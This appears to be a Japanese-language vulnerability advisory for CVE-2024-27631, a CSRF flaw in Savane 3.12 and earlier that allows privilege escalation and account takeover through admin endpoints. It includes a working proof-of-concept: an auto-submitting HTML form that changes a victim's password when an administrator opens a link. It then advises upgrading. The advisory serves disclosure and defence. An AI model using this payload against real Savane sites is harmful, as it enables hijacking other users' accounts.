CVE-2024-27631 脆弱性の詳細

概要

Savane v3.12 以前には、管理機能に対する CSRF 保護の欠如により、権限昇格やアカウント乗っ取りが発生する可能性があります。特に、エンドポイント /siteadmin/usergroup.php には、他のユーザーのパスワードや管理者フラグを変更する機能が含まれており、攻撃者が自分自身を管理者にすることが事実上可能になります。

CSRF に対して脆弱な他の注目すべきエンドポイントは次のとおりです：

/support/admin/userperms.php - トラッカーに投稿できるユーザーの権限を変更します。
/project/admin/conf-copy.php - グループの既存の設定を、別のグループのコピーで上書きします。
/project/admin/editgroupnotifications.php - グループ通知を編集します。プライベートなアイテムが公開メーリングリストに送信される可能性があります。
/project/admin/useradmin.php - グループからユーザーを削除します。
/news/admin/index.php - ニューストラッカーのメールアドレスを編集します。
/people/editjob.php - グループのジョブを追加します。

CWE 分類: CWE-352: Cross-Site Request Forgery (CSRF)

報告者: Ally Petitt

影響を受ける製品: Savane

影響を受けるバージョン: 3.12 以前

検証手順

これは、アカウント乗っ取りへの経路として、別のユーザーのアカウントのパスワードを変更するための Proof-of-Concept (PoC) です。

パスワードを変更する被害者ユーザーを選択します。
プロフィールページ (/users/<username>) からその userID を確認します。
次の悪意のある Web ページを作成し、user_id を被害者のユーザー ID に、<savane_instance> を適切なドメイン名/ホストアドレスに置き換えます。

<form id="autosubmit" action="http://<savane_instance>/siteadmin/user_changepw.php" method="POST">

    <input name="form_pw" type="hidden" value="Password1!" />
    <input name="form_pw2" type="hidden" value="Password1!" />
    <input name="user_id" type="hidden" value="<user_id>" />
    <input name="update" type="hidden" value="Update" />
    <input type="submit" value="Submit Request" />
</form>

<script>
document.getElementById("autosubmit").submit();
</script>

悪意のある HTML ページを Web サーバーにホストし、そのリンクを管理者に送信します（これを機能させるには、管理者がスーパーユーザーモードである必要があります）。
リンクをクリックした後、非常に安全なパスワード Password1! で被害者のアカウントにログインします。

なお、この PoC スクリプトは Firefox v103.0 (64-bit) でテスト済みです。

緩和策

Savane バージョン 3.13 以降にアップグレードしてください。パッチはこちらにあります。

CVE-2024-27631

人気

CVE-2024-27631 脆弱性の詳細

概要

検証手順

緩和策